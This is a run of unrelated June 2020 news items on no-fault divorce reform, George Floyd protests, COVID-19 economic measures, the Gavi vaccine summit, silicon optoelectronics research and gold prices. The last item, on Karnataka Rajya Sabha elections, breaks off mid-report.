The reforms will mean a 'no-fault' divorce can be granted to a couple after just six months, rather than the currently enforced separation by agreement after two years.

It will also allow one partner to initiate divorce proceedings and begin a 20 week 'reflection period' without notifying their spouse, reported The Daily Telegraph.

Dozens of Conservative MPs are set to oppose the motion, however, with Sir Edward Leigh, Fiona Bruce and Sir John Hayes writing to 200 of their colleagues that the reforms would leak to 'an immediate spike in divorce rates'.

Boris Johnson has been criticised by his own backbenchers for green-lighting a law allowing no-fault divorces from as early as next month (file image)

The letter, seen by the Daily Telegraph, also warns that 'there is simply no public support for this Bill - which was not in the Conservative manifesto.' It adds: 'Living in lockdown during the coronavirus crisis has exacerbated difficulties in many relationships.

'Now more than ever we need to provide much more support for couples - and their families - many of whom desperately want to make their marriages work; as drafted this Bill is not the way to achieve this.'

Despite the backbench rebellion, the new law is likely to pass by the end of July due to support from Labour and the Liberal Democrats.

The Prime Minister may face a rebellion from swathes of his own MPs during the House of Commons vote on Monday, and has been accused of rushing through the plans in lockdown, when many marriages are under increased stress

Government whips will meet with a rebel delegation, who will demand the proposals be watered down, before the vote.

Sir Edward, who wants divorces only to be granted after a minimum of nine months, said: 'I don't understand why the Government is going for this quick-style divorce.

'The killer point is if you make something easier it will happen more often.

'It is a strange time to be doing it [during the coronavirus lockdown] when people might be vexed or unhappy for various reasons.

'We don't understand why - in the present time - it is necessary to do this.. I assure you that in the Dog and Duck [pub] in Grimsby or Scunthorpe there is no great demand for no-fault divorce.'

A Ministry of Justice spokesman said: 'We will always uphold the institution of marriage. But when divorce cannot be avoided, the law must not create conflict between couples that can harm any children involved.

'Our reforms remove the needless 'blame game', while ensuring there is a minimum six-month timeframe to allow for reflection and the opportunity to turn back.'
Police in Georgia's state capital during standoff with protester: REUTERS

An official in Georgia has apologised after he suggested police should shoot to kill George Floyd protesters in Milwaukee if they continue to destroy.

Bibb county commissioner Joe Allen wrote the comment on a television news outlets Facebook live stream showing damage caused during demonstrations against police brutality and institutionalised racism across the US.

Its now time to SHOOT to KILL them if they continue to destroy, Mr Allen wrote on Facebook during the Fox 6 Milwaukee live stream.

According to The Macon Telegraph, the comment has since been deleted.

The commissioner was confronted on Twitter on Wednesday night with screenshots of his comments.

Mr Allen tweeted Not me! when one user asked him to resign over the divisive comments on an article about racial unrest in Minneapolis.

The person added: These thoughtless words stoke the violence and support police brutality. We have no room for either in Bibb County.

Mr Allen later apologised for his comments in a press statement, and said he regretted his choice of words.

It was a poor choice, and Im sincerely sorry for these hurtful comments. We should be working to help all people and making sure we are together.

His comments come amid police clashes with protesters across the US after the police-involved death of George Floyd in Minneapolis last week.

@BibbJoe I demand your immediate resignation for incendiary, divisive comments on an article about racial unrest in Minneapolis. These thoughtless words stoke the violence and support police brutality. We have no room for either in Bibb County. pic.twitter.com/6J3i0D3zyi  Heather Dudley (@dragonchilde) June 3, 2020

Bibb Countys Sheriff, David Davis, walked alongside Macon residents on Tuesday during a solidarity march.

Story continues

He said: Its important to show my support and solidarity with those folks that are just shocked, as we all are, just shocked and just troubled by what happened to George Floyd and others.

The Macon Telegraph reported that Mr Allen was not running for re-election as commissioner.

Read more

Boris Johnson appalled by George Floyd killing

Trump in campaign mode as he attacks lamestream media

Looters have it coming says Tory MP in response to US protests
[June 05, 2020] People's Bank Celebrates Success in PPP Lending

People's Bank of Commerce (OTCBB: PBCO) reports significant support of its communities in providing Paycheck Protection Program (PPP) Loans during the COVID-19 crisis. To date, the community bank has provided over 900 PPP loans totaling $91 million to small businesses. The SBA processing fee from these loans will generate $3.6 million in revenue. The bank remains committed to supporting its communities by providing PPP loans through the program sunset date of 6/30/20 or until the committed funds have been exhausted. As a result of the bank's support of PPP, during the comparison period from March 31st to May 31st, deposits have grown by $73.3 million, reaching $384.1 million and the bank's total assets have grown by $147.8 million to $521.9 million. The bank has utilized the Federal Reserve's Paycheck Protection Program Liquidiy Facility (PPPLF) to fund the PPP loans, as a result, Tier 1 Capital went from 11.64% to 9.93%. We anticipate the balance sheet will begin to normalize in the 3rd quarter as PPP recipients utilize the loan funds to support operations and the forgiveness phase of the program goes into effect. The bank is preparing for this next phase of the PPP program as it plans for processing of borrower requests for loan forgiveness.



About People's Bank of Commerce People's Bank of Commerce's stock trades on the over-the-counter market under the symbol PBCO. Additional information about the Bank is available in the investor section of the bank's website at: www.peoplesbank.bank.

Founded in 1998, People's Bank of Commerce is the only locally owned and managed community bank in Southern Oregon. People's Bank of Commerce is a full-service, commercial bank headquartered in Medford, Oregon with branches in Medford, Ashland, Central Point, Grants Pass and Klamath Falls. View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005512/en/

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The Nasarawa State government has lifted the ban on operation of commercial motorcycles occasioned by COVID-19, as part of the gradual reopening of activities in the state.

Ahmed Yahaya, Commissioner of Health, made the disclosure while briefing journalists on Thursday in Lafia, after an expanded stakeholders meeting on COVID-19 in the state.

Mr Yahaya also announced that the government had approved the reopening of all markets across the state.

The News Agency of Nigeria (NAN) recalls that Governor Abdullahi Sule, had on March 2, shut down all markets and placed a ban on commercial motorcycles as part of measures to contain the spread of COVID-19.

The commissioner, however, said the lifting of the ban and reopening of markets was with certain conditions that must be observed.

Commercial motorcycle operators should carry only one passenger and must use face masks , he added.

The Commissioner listed the conditions for the reopening of markets to include, compulsory use of face masks, provision of hand sanitiser and running water as well as observance of physical distancing by both traders and custoners.

On his part, Samson Gamu-Yare, the Chum-Mada, who spoke on behalf of the state Traditional Council of Chiefs, said the traditional rulers would intensify sensitisation of their subjects to observe all governments directives toward the containment of COVID-19.

He said the traditional institution would continue to complement the governments efforts in the fight against COVID-19 by ensuring strict monitoring of their domain for those who may want to flout orders.

Similarly, Bola Longe, Commissioner of Police in the state, said the police and other security agencies had mounted road blocks at strategic locations across the state for the strict enforcement of governments ban on interstate travels and curfew.

We will not allow people to flout the regulations as directed by the federal and Nasarawa state governments.

All entry and exit points in the state are being monitored by security agencies and we will not allow interstate movements, he said.

The commissioner also warned shop owners, to provide hand sanitiser, water and soap to customers and wear face masks to avoid face-off with the police.

(NAN).
The right-wing populist Vox party is calling for the resignation of the left-wing government on May 23, 2020 in Madrid, Spain.

An uneven recovery in Europe could prop up populist rhetoric and anti-EU sentiment, political experts and economists said, despite major fiscal stimulus programs in the region.

In the wake of the first coronavirus cases in Europe, some anti-EU parties experienced growing public support. This was the case in Italy, where anti-immigration Lega remained the most popular party and the far-right Brothers of Italy (Fratelli d'Italia) rose in the polls.

But up stepped the EU, which detailed proposals for a major new stimulus package. The European Union is working to borrow 750 billion euros ($853 billion) from public markets from January  a step that has never been taken before on such a large scale.

The plan by the European Commission, the executive arm of the EU, would provide loans and grants to the sectors severely impacted by the virus. The idea follows a draft from Germany and France, whose leaders Chancellor Angela Merkel and President Emmanuel Macron surprised many investors when backing some form of common EU debt a few days earlier.

Common European debt had been a taboo for a long time, mainly among German officials who were afraid their citizens would be responsible for high debts in other countries. As a result, the announcement was described as "historic" and a "big step forward" for the European Union. Investors interpreted it as reducing the risk of a collapse of the EU project itself and some believe officials would have had anti-EU sentiment (in places like Italy) in mind when constructing the proposals.

However, despite this unprecedented package, there are still doubts that it will quash anti-EU feelings completely, and put an end to political risks in the region.

"There will certainly be something for the populists to latch on to," Marchel Alexandrovich, a senior European economist at investment bank Jefferies, told CNBC Monday.

Constantine Fraser, Europe analyst at research firm TS Lombard, also told CNBC that "opposition politicians have already started to attack the plan, as too small in size, too slow in its prospective disbursements, or as coming with too much conditionality attached."

"It will almost certainly help the EU's image in Italy, but how far it goes in undoing years of rising disenchantment is still unknowable," he added.
MANZINI  After waiting three years for a cost-of-living adjustment (CoLA), teachers with a Primary Teaching Diploma (PTD) will get only E159.81 before tax should they agree to the three per cent offer by government.



So far, public sector associations (PSAs) have not accepted the offer tabled by government. The PSAs are four unions that represent civil servants and they are: National Public Service and Allied Workers Union (NAPSAWU), Swaziland Democratic Nurses Union (SWADNU), Swaziland National Association of Government Accounts Professionals (SNAGAP) and Swaziland National Association of Teachers (SNAT).

The SNAT Nation Executive Committee (NEC), tabulated its members salary grades and notches in an effort to show them how much they would get should they accept governments current offer of three per cent.



attention



The association paid attention to eight categories which were either being deliberated in court and/or there were appeals against them following the Salary Review Exercise of 2016.

The eight grades are: B2 Notch 1 which is that of PTD holders. According to a statement released by the SNAT Secretary General, Sikelela Dlamini, this category is mainly made up of school leavers. He said this was because government was yet to create diploma posts to correctly place these teachers.



In this grade, if the teachers agree to the three per cent, they shall earn an annual salary of E65 844. This will be an improvement of E1 918 as they currently get E63 926.

These teachers currently earn E5 327.17 per month and shall earn E5 486.98 if they accept the E159.81 proposed CoLA.



Teachers on grade C2 Notch 5, earn E109 912 annually which translates to E9 159.33 per month. With the proposed three per cent increment, they shall earn E113 209 annually and E9 434.11 monthly.

This means that their CoLA would be E274.78 before tax.

Another grade is C3 Notch 1, which is held by teachers who hold a BA in Humanities. These teachers, according Dlamini, were those who were recently employed.

With the proposed three per cent CoLA, these teachers shall get an extra E288.80 per month. It shall move their annual income from E115 520 to E118 986 which means from earning E9 626.67 per month they would earn E9 915.47.



grade



A further grade, according to Dlamini, was C4 Notch 1. These, he said, were teachers who had degrees but did not possess any certificate in education, such as the post graduate certificate in education or post graduate diploma in education (PGCE/PGDE).

These teachers, according to the unionist, include those who studied under the Bachelor of Sciences (BSc) at the University of Eswatini.



For these teachers, their salaries shall be improved from E139 122 to E143 296. Currently, they earn E11 593.50 and with the three per cent CoLA, they would earn E11 941.31 which translates to a difference of E347.81.

Furthermore, another grade that would yield a minimal benefit was C5 Notch 1. Dlamini said these were Bachelor of Arts (BA) and PGCE/PGDE holders.

Also, among these teachers, Dlamini said were those who possessed the Bachelor of Education (B.Ed) Primary who had been recently placed in the correct posts.

For these teachers, their three per cent CoLA shall be E418.85. This means that their monthly salary shall move from E13 961.92 to E14 380.77 which computes to an annual salary of E172 569. This shall be a E5 026 annual increase as their current yearly salary is E167 543.



The sixth grade is D3 Notch 1 which are newly-promoted deputy head teachers in primary schools and heads of department in secondary schools.

This means newly-promoted deputy head teachers and heads of departments at primary schools shall get E471.54 as their CoLA if the three per cent is ageed upon. This may increase their salary from E15 717.83 to E16 189.37. Annually they shall have an increment of E5 658 which would take their pay from E188 614 to E194 272.

Furthermore, another grade is D4 Notch 1 which is of newly-promoted deputy head teachers in secondary schools and newly-engaged head teachers in primary schools.



increment



The three per cent CoLA shall give these teachers an annual increment of E6 507 as their salary would increase from E216 905 to E223 412. The actual CoLA they shall get per month before tax is E542.26. This means that these teachers shall stop earning E18 075.42 and get E18 617.68.

The last grade that was highlighted by the SNAT NEC was D5 Notch 1. These, according to Dlamini, were newly-appointed head teachers in secondary schools.



Teachers in this grade shall benefit E7 483 per year as their three per cent CoLA shall be E623.61 per month before tax.

This means, instead of earning an annual salary of E249 442, they shall get E256 925.

This in essence means that their monthly salary shall move from E20 786.83 to E21 410.44.
The Minister of Works and Housing, Babatunde Fashola, has lamented that Nigeria is heading towards recession, following the coronavi...





The Minister of Works and Housing, Babatunde Fashola, has lamented that Nigeria is heading towards recession, following the coronavirus pandemic.





Fashola, a former governor of Lagos State made the disclosure while featuring on Channels Televisions Politics Today.





He, however, assured that Nigerian government was working towards bringing back the countrys economy.





The Minister also blamed the pandemic for the slow pace of work on the Lagos-Ibadan expressway.





He stated that the COVID-19 outbreak has affected construction activities and government revenue.





According to Fashola: As I speak to you now, we have lost essentially the prime of our working period which is the dry season in the COVID-19 period.





READ ALSO: Sanwo-Olu reveals when schools might reopen in Lagos State

We have also lost some of our expected revenue plans. At the time COVID-19 hit Nigeria, we were doing 2.59 percent growth rate.





Now we are heading for a recession globally and Nigeria will not be insulated from that.





We are working on plans to bring the economy back on track.





Nigeria as at Thursday night had recorded 11516 confirmed COVID-19 cases.





This followed the confirmation of 350 new COVID-19 cases by the Nigeria Centre for Disease Control, NCDC.
Bakersfield, CA (93308)

Today

Some clouds this morning will give way to generally sunny skies for the afternoon. High near 60F. Winds WNW at 5 to 10 mph..

Tonight

Clear skies. Low around 40F. Winds light and variable.
LINDSAY  The Black Lives Matter Kawartha group will be holding a march Sunday to the Kawartha Lakes Police Service station in Lindsay to speak out against racial injustice in the wake of the death of George Floyd while be arresting by police in Minneapolis last month.

Kawartha Lakes Police Chief Mark Mitchell plans to meet with members of the group after the march.

The march is scheduled to start at noon Sunday at LCVI on Kent Street West before heading to Victoria Park near the police station on Victoria Avenue. A section of Kent Street will be closed between Adelaide Street and Victoria Park Avenue.

The police service also issued a statement on racism to the community on Friday:

This past week has been one of reflection and learning for the City of Kawartha Lakes Police Service, the statement reads.

Like so many others, we watched in dismay as George Floyd pleaded for assistance before his tragic and preventable death. Any time someone dies in the custody of the police, our system has failed. The police are sworn to protect everyone in our community, regardless of ethnicity, age, gender, religion or sexual orientation.

We know that, too often, we have failed to live up to that ideal and that there is still work to be done.

Many of us will never know the pain and suffering endured by those who have grown up as a visible minority or Indigenous person in the United States and, yes, here in Canada too. We know that the path to reconciliation will require uncomfortable and painful discussions if we are truly to bring about change.

We do not profess tohave the answers, but we are committed to being a leading agent of change. We also recognize that this commitment must be more than mere words. We are here to listen, to reflect, to understand, to be accountable, and to take action against racism.

The City of Kawartha Lakes Police Service has a 163-year tradition of serving the citizens of our great community. We are proud of our heritage and we will do everything in our power to live up to your expectations. The police are, first and foremost, public servants and that service must be applied fairly and equally to all.

The statement was co-signed by Chief Mark Matthews, Insp. Tom Hickey, Insp. Kirk Robertson, information services director Debbie Hemminger and Lindsay Police Association president Joe Bell.

Black Lives Matter rallies were also held Tuesday in Peterborough and Thursday in Cobourg.
James Allison says the 18-inch rims for 2022 means that Formula 1 is switching to a "worse tyre" that is heavier and slower.

Mercedes' technical boss noted the current tyre specifications have remained similar for "decades", and surmised that the new rule is essentially for the aesthetic effect and road car relevance.

"This sort of balloon-type tyre that you see on our cars today is a really good solution for going quickly," he said.

"The new tyres are going to be heavier, lower grip and worse for ride," Allison added. "They're going to slow the cars down by somewhere between one and two seconds, somewhere around that."

He said the strongest argument for the scrapping of the current tyres is because low-profile rims are more popular among a certain demographic.

"I guess if you are a 13-year-old boy or a fan of 'Fast and Furious' you'd like how they look," said Allison.

"In road cars, performance is not at such a premium, economics are much more important, and so aligning our world better with the road car means it's probably more relevant.

"It's also important because it means that tyre manufacturers are more inherently interested in being part of Formula 1, and that is important."

But another obvious reason for Mercedes' qualms about the change is that the stiffer low-profile tyres are easier for the aerodynamicists and designers to work with.

"So if you were the FIA and FOM and wanting the grid to compress up, having tyres that don't interfere so much with the aero is a good thing," said Allison.

"But it's a big opportunity for us to see whether we can actually stretch our heels instead. I guess time will tell whether that plays out or not."

(GMM)
Governments around the world on Thursday pledged $8.8 billion for global vaccines alliance Gavi to help immunisation programmes disrupted by coronavirus, prompting calls for global cooperation to ensure a potential COVID-19 vaccine is available to all.

The online meeting beat a target to raise $7.4 million to provide vaccines at a much reduced cost to 300 million children worldwide over the next five years.

More than 50 countries took part as well as individuals such as billionaire philanthropist Bill Gates, whose foundation pledged $1.6 billion.

Gavi also launched a new initiative to purchase potential COVID-19 vaccines, scale-up production and support delivery to developing nations, which raised $567 million in seed money.

US billionaire philanthropist Bill Gates stumped up $1.6 billion for the vaccine drive. By Andrew PARSONS (10 Downing Street/AFP)

"Together, we rise to fulfil the greatest shared endeavour of our lifetimes -- the triumph of humanity over disease," said British Prime Minister Boris Johnson, who hosted the summit.

"Today we make the choice to unite, to forge a path of global cooperation."

Scientists around the world are racing to develop and test a coronavirus vaccine and United Nations Secretary General Antonio Guterres said it must be available to everyone.

"A vaccine must be seen as a global public good -- a people's vaccine, which a growing number of world leaders are calling for," he said in a video message.

There needs to be "global solidarity to ensure that every person, everywhere, has access".

The pandemic has exposed new ruptures in international cooperation, notably with US President Donald Trump's decision to pull out of the World Health Organization (WHO).

Graphic on the number and types of vaccines in development in the fight against the global pandemic. By John SAEKI (AFP)

But Gavi chief executive Seth Berkley insisted there must be a "global perspective".

"At the end of the day, if you have large outbreaks of COIVD anywhere in the world, it threatens the world," he said.

Doesn't discriminate

The United States pledged $1.16 billion to Gavi's fundraising drive, and Trump sent a recorded message to the conference.

"As the coronavirus has shown, there are no borders. It doesn't discriminate," he said.

"It's mean, it's nasty. But we can all take care of it together... we will work hard. We will work strong."

Britain's Prime Minister Boris Johnson hosted the Global Vaccine Summit online raising pledges of $8.8 billion. By Andrew PARSONS (10 Downing Street/AFP)

The coronavirus pandemic has infected more than 6.5 million and killed over 385,000 people since emerging in China last December, according to an AFP tally of official sources.

If a vaccine is developed, Microsoft founder Gates said Gavi hoped to be able to buy it for the poorest countries.

He said pharmaceutical companies had been working together to try to secure the required production capacity.

"It's been amazing, the pharmaceutical companies stepping up to say 'yes, even if our vaccine is not the best, we will make our factories available'," he told BBC radio.

Immunisations disrupted

Stay-at-home orders have been imposed across the world to stem the spread of coronavirus, causing huge economic disruption and the suspension of routine immunisation programmes for preventable diseases such as measles and polio.

The WHO, UN children's agency UNICEF and Gavi warned last month that vaccine services were disrupted in nearly 70 countries, affecting some 80 million children under the age of one.

Polio eradication drives were suspended in dozens of countries, while measles vaccination campaigns were also put on hold in 27 countries, UNICEF said.

Recent modelling from the London School of Hygiene and Tropical Medicine estimated that for every coronavirus death prevented by halting vaccination campaigns in Africa, up to 140 people could die from vaccine-preventable diseases.

Since it was formed in 2000, Gavi says it has helped to immunise more than 760 million children.

But Berkley warned: "These historic advances in global health are now at risk of unravelling as COVID-19 causes unprecedented disruption to vaccine programmes worldwide."

Ethiopian President Sahle-Work Zewde told the meeting that her nation had seen "how the life of a helpless child is transformed to a better future through immunisations".

She added: "As much as a coordinated and cooperative global response is needed to develop a COVID-19 vaccine, we should not lose sight of the fact that the vaccine's success is strongly linked to maintaining routine immunisation.

"Which means the need to maintain the supply chain and the immunisation infrastructure as well."

burs-ar/har/pvh
By Tracy Rucinski CHICAGO (Reuters) - Airlines from America to Australia are ramping up flights in June and July, boosting hopes for a pickup in tourist traffic even as bigger-spending business and global travel remains sluggish during the ongoing pandemic. American Airlines and United Airlines each announced more flights to key U.S. business and leisure destinations where national parks and outdoor recreational spaces are reopening after months of lockdowns and travel curbs, sending their shares sharply higher

By Tracy Rucinski

CHICAGO (Reuters) - Airlines from America to Australia are ramping up flights in June and July, boosting hopes for a pickup in tourist traffic even as bigger-spending business and global travel remains sluggish during the ongoing pandemic.

American Airlines and United Airlines each announced more flights to key U.S. business and leisure destinations where national parks and outdoor recreational spaces are reopening after months of lockdowns and travel curbs, sending their shares sharply higher.

Chicago-based United is adding more non-stop flights as well as servicing markets like Aspen, Colorado and Jackson Hole, Wyoming where it said "social distancing is a natural feature" in the scenic landscapes.

"Leisure travel has been the most missed activity during lockdown across age and income demographics, even more so than things like restaurants," said Jason Guggenheim of Boston Consulting Group, which has surveyed consumers in the United States and Europe.

"But it's going to take business travel longer to come back," he said, noting work-from-home models will remain in place for some time.

Even with the schedule increases, analysts expect overall U.S. airline capacity will remain drastically lower this year; and without business travel, yields will likely remain negative, they said. Yield is the revenue an airline makes per mile flown.

Australia's Qantas Airways Ltd and Air New Zealand Ltd outlined plans on Thursday for significant boosts to domestic capacity, while Emirates and Etihad Airways are restarting transit flights through hub airports in Abu Dhabi and Dubai.

In Europe, Iberia - part of the International Consolidated Airlines Group - told customers on Thursday it is starting a schedule of regular flights from Spain in July as a first step to building back a full service.

(Reporting by Tracy Rucinski; Editing by Richard Chang)

This story has not been edited by Firstpost staff and is generated by auto-feed.
California Gov. Gavin Newsom called for an end of the carotid hold at a press briefing Friday.

The restraint technique can block the flow of blood to the brain and is taught in state police training programs.

"Across this country we train techniques on strangleholds that put peoples lives at risk," Newsom remarked.

This is Newsom's first action following two weeks of protests across the country after the death of George Floyd. Floyd died on Memorial Day after a police officer used a form of the carotid hold, putting his knee on his neck for several minutes.

Since then, some police departments have moved to end the use of carotid holds.

Newsom said the hold has no place in the 21st century and will back legislation banning it.

From the Museum of California in Sacramento, Newsom spoke on racism, systematic injustice and how the state can move forward amid a national equality movement triggered by Floyd's tragic death.

Newsom introduced Lateefah Simon, current BART director and president of the Akonadi Foundation, and Ron Davis, former East Palo Alto police chief, as leaders of a new state task force on police reform.

Newsom addressed the need for reform in the criminal justice system and said the system is unfair to blacks. "One thing we know about our criminal justice system, its not blind," he said. "It discriminates based on the color of your skin. I dont think this. I know this as governor."

He added, "The criminal justice system treats people who are rich and guilty a hell of a lot better who are poor and innocent. You know that and I know that. Why aren't we doing something about that?"

The governor has been meeting with community leaders, members of the National Guard and black youth in recent days.

"The black community does not need to change," he said. "We need to change."

He has been especially struck by "the clarity and conviction of our youth."

"They dont beat around the bush," Newsom said. "Theyre not confident folks like me, in my position, get it," Newsom said. "They have no reservoir of patience ...They demand that people in power and influence lead demonstrably, lead with courage, lead with civility."

The Associated Press contributed to this story.

MORE COVERAGE ON THE GEORGE FLOYD PROTESTS:

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The US has approved loans and investments worth more than $340 million for Indian firms and organisations as part of its efforts to uplift under-served communities around the world against the backdrop of the Covid-19 pandemic.

Most of these loans were part of $1 billion in investments approved recently by the US International Development Finance Corporation (DFC)s board of directors to advance development in Africa, Latin America, the Indo-Pacific, and emerging markets.

Several of the projects will support developing countries reeling from the impact of Covid-19 and include first transactions using equity and technical assistance, said a statement from the US embassy.

A $142-million loan to help ReNew Power construct and operate a 300 MW solar power plant in Rajasthan is aimed at strengthening energy security in India. Another $50-million loan will enable Sitara Solar Energy Private Ltd to build and operate a 100 MW solar power plant in Rajasthan to enhance power supply.

A $50-million loan will help Northern Arc Capital extend loans to businesses that expand access to water, sanitation and food or advance womens economic empowerment.

A $27.3-million loan will enable Paryapt Solar Energy Private Ltd to build and operate a 50 MW solar power plant in Gujarat, while a $14.6-million loan guarantee to World Business Capital will support the expansion of a student loan programme and increase access to education.

Up to $20 million in equity will be provided to Freshtohome to deliver affordable fish, meat, and produce across India. In addition to strengthening food security, the project will support more than 1,500 farmers and fishermen, the statement said.

An investment of up to $30 million in the South Asia Growth Fund II will support businesses in the energy, water and food sectors. The fund aims to promote sustainable access to and efficient use of these scarce resources.

A $2.7-million loan guarantee to Stellapps Technologies will advance innovative solutions that streamline the dairy value chain. Another $10-million loan will help Milk Mantra, a dairy company committed to ethical sourcing from more than 60,000 smallholder farmers, many of them women, expand its operations in eastern India.

Up to $371,000 in technical assistance will also support Milk Mantra to produce and sell dairy products in eastern India. This technical assistance is intended to enhance the impact of an approved DFC loan to the project by sharing the costs of services.

The $1 billion of investments mark one of the largest tranches approved during a board meeting under DFC and its predecessor agency. These projects will uplift some of the most underserved communities around the world, said DFC CEO Adam Boehler.

The impact of these projects will be particularly meaningful as the world continues to fight the health and economic fallout of the pandemic.

The approved projects will strengthen health systems, bolster food security, and support other impactful development outcomes. Several projects expand access to financial services for women, small businesses, and other underserved groups. DFC also approved loans and investments in Southeast Asia, Africa, Latin America and South America.
Figure 1. Dislocation-related luminescence spectrum of self-implanted silicon at 77 K (a) and its temperature dependence (b) after boron doping. The insert shows a TEM image of the light-emitting layer doped with boron. Credit: Lobachevsky University

Silicon is the main material in electronic engineering. All information and computing technologies that play a key role in modern civilization are based on silicon: computers, communications, astronautics, biomedicine, robotics and much more.

According to Alexey Mikhaylov, Head of the laboratory at the Lobachevsky University's Research Institute for Physics and Technology, the main stumbling block on the way to increasing the speed of integrated circuits is the limited speed of electrical signal propagation in metal interconnection wiring. "This requires the replacement of metal interconnections with optical waveguides and, thus, the transition from traditional electronics to optoelectronics, where the active elements are light emitters and receivers rather than transistors," says Alexey Mikhaylov.

Silicon shows satisfactory performance as a light receiver, but, unlike A3B5 semiconductors, is a poor light emitter because of an indirect bandgap of this semiconductor. This feature of its electronic structure, according to the laws of quantum mechanics, strictly speaking, prohibits the emission of light (luminescence) under external excitation.

"It would be very undesirable to refuse from silicon at a new stage, as we would have to abandon the perfectly developed technology for mass production of integrated circuits. This would involve huge material costs, not to mention the environmental problems that arise when working with A3B5 materials," states Professor David Tetelbaum, Leading Researcher at Lobachevsky University.

Scientists are trying to find a way out of this situation by either using nanocrystalline silicon, or by coating silicon with films of other light-emitting materials. However, the emissivity (luminescence efficiency) of silicon nanocrystals is still insufficient for practical applications.

Besides, silicon nanocrystals emit in the area at the "red" edge of visible radiation, while many technical applications, in particular in fiber optics communication technology, require longer wavelengths (about 1.5 m). The use of "foreign" material layers on silicon substrates, however, is poorly compatible with the traditional silicon technology.

Figure 2. Diagram of energy levels used in theoretical description of temperature dependence of dislocation-related luminescence. Credit: Lobachevsky University

An effective way to solve this problem is to introduce in silicon a special type of linear defects known as dislocations. Researchers have come to the conclusion that a high concentration of dislocations can be achieved in the silicon surface layer by irradiating it with silicon ions with the energy of the order of a hundred keV and then annealing it at high temperatures. In this case, silicon emits light at exactly the right wavelengthclose to 1.5 m.

"The luminescence intensity appears to depend on the implantation and annealing conditions. However, the main problem with dislocation-related luminescence is that it is most pronounced at low temperatures (below ~25 K) and decays quickly as the temperature rises. Therefore, it is very important to find ways to increase the thermal stability of dislocation-related luminescence," continues Alexey Mikhaylov.

Lobachevsky University scientists together with their colleagues from the RAS Institute of Solid State Physics (Chernogolovka) and the Alekseev State Technical University (Nizhny Novgorod) have made significant headway in solving this problem with the support of the Russian Foundation for Basic Research (grant No.17-02-01070).

Previously, it was found that one way to achieve dislocation-related photoluminescence in silicon samples is to implant silicon ions into silicon (self-implantation) with subsequent annealing. This proved to be not the only benefit of the implantation technology, when the team of Lobachevsky University discovered that additional boron ion doping can enhance the luminescence. However, the phenomenon of enhanced luminescence properties alone does not solve the main problem. Moreover, it remained unclear how boron ion doping affects the luminescence thermal stability, which is a key parameter, and under what conditions (if any) such effect will be most pronounced.

In this study, scientists have confirmed experimentally the increase in thermal stability of silicon doped with boron ions. Moreover, the effect is nonmonotonically dependent on the boron dose, and in a certain range of doses, a pronounced second maximum in the region of 90 to 100 K appears on the intensity versus temperature curve, along with the usual low-temperature maximum in the region of 20 K.

"It is important to note that the "beneficial" effect of boron is unique in the sense that the replacement of boron ions by another acceptor impurity does not lead to the effect described above. After refining the modes of boron ion doping and heat treatment of silicon samples where centers of dislocation-related luminescence were formed by irradiation with silicon ions, we have found that with the highest previously used dose of boron ions and an additional heat treatment at 830 C, it is possible to achieve a measurable level of luminescence at room temperature," concludes Professor Tetelbaum.

The results obtained during further optimization of the implantation and heat treatment conditions brighten up the prospects for silicon application in optoelectronics.

Explore further Scientists obtain a hexagonal modification of silicon

More information: Alena Nikolskaya et al, Temperature dependence of dislocation-related photoluminescence (D1) of self-implanted silicon subjected to additional boron implantation, Nuclear Instruments and Methods in Physics Research Section B: Beam Interactions with Materials and Atoms (2020). Alena Nikolskaya et al, Temperature dependence of dislocation-related photoluminescence (D1) of self-implanted silicon subjected to additional boron implantation,(2020). DOI: 10.1016/j.nimb.2020.03.032
The gold price jumped by almost $30 an ounce on Thursday clearing the $1,700 an ounce level as retail and institutional investors continue to pile into the metal seen as a safe haven in times of turmoil.

Gold for delivery in August was trading at $1,723 an ounce in New York, logging gains in excess of $200 an ounce so far in 2020.

Continuing the recent growth streak, gold-backed ETFs added 154 tonnes for net inflows of $8.5 billion across all regions in May, boosting global holdings to a new all-time high of 3,510 tonnes, according to new data from the World Gold Council (WGC).

Year-to-date, inflows of 623 tonnes, representing a value of $33.7 billion, now exceed what was initially the highest level of annual inflows of 591 tonnes in 2009.

Gold-backed ETF holdings as of May 31, 2020. Source: Bloomberg, World Gold Council

During May, North American ETFs increased holdings by 102 tonnes or $5.6 billion, with SPDR Gold Shares leading all global inflows, adding 67 tonnes ($3.7 billion), followed by iShares Gold Trust, which added 20 tonnes ($1.1 billion).

European funds increased their holdings by 45 tonnes or $2.4 billion, led by UK-based iShares Physical, which added 23.3 tonnes ($1.3 billion). The balance of gold inflows occurred in Asia and other regions. Related: Gold Prices Fall As Stock Market Sentiment Turns Positive

The WGC said assets in global gold-backed ETFs have nearly doubled over the past 12 months.

The Council also noted that UK-based gold funds continue to take regional and global market share, now representing 48% of European assets and 21% of global assets.

In the US, low-cost gold-backed ETFs have doubled their collective holdings in the past year to 99 tonnes, roughly the size of all Asian-based funds.

By Mining.com

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(Newser)  Joe Biden says he wants to bring Americans togetheror up to 90% of them, anyway. In a remark that the New York Times likens to Mitt Romney's assertion in 2012 that 47% of Americans are "dependent on government" and Hillary Clinton's 2016 comment about putting half of Trump voters in a "basket of deplorables," Biden was talking about how "good ... we can be as a nation" Thursday night when he commented that "there are probably anywhere from 10 to 15% of the people out there that are just not very good people." "But thats not who we are," he said, per the Times. "The vast majority of the people are decent, and we have to appeal to that and we have to unite peoplebring them together." He said that when a president makes divisive remarks, "you're going to get the worst of us to come out."

story continues below

The presumptive Democratic nominee, speaking at an online town hall event with black supporters, "appeared to get the figure out of thin air," the Daily Beast notes. During the event, which was hosted by Don Cheadle, Biden discussed racism in America, saying there is a "battle for the soul of this nation" and noting: "Hate didnt begin with Donald Trump, its not going to end with him." He gave what the Times calls a "gentle warning" to an activist planning a Friday night march in Wilmington. "We cant allow the protesting to overshadow the purpose of the protest," Biden said. So there's going to be a lot of folks that are going to want to cause trouble. Some cops, but some folks too. It's going to take young leaders like you to change things in the city." (Read more Joe Biden 2020 stories.)
Bengaluru, June 5 : With hectic lobbying underway amid simmering differences, the ruling Bharatiya Janata Party (BJP) faces an uphill task in selecting nominees for the June 19 Rajya Sabha biennial elections in Karnataka where four seats fell vacant due to the expiry of the post holders' six-year term.

"Though many from within and outside the party are vying for the tickets to contest the Rajya Sabha polls, the high command will decide from the names the state core committee recommends in a day or two," state BJP unit spokesman G. Madhusudhana told IANS here.

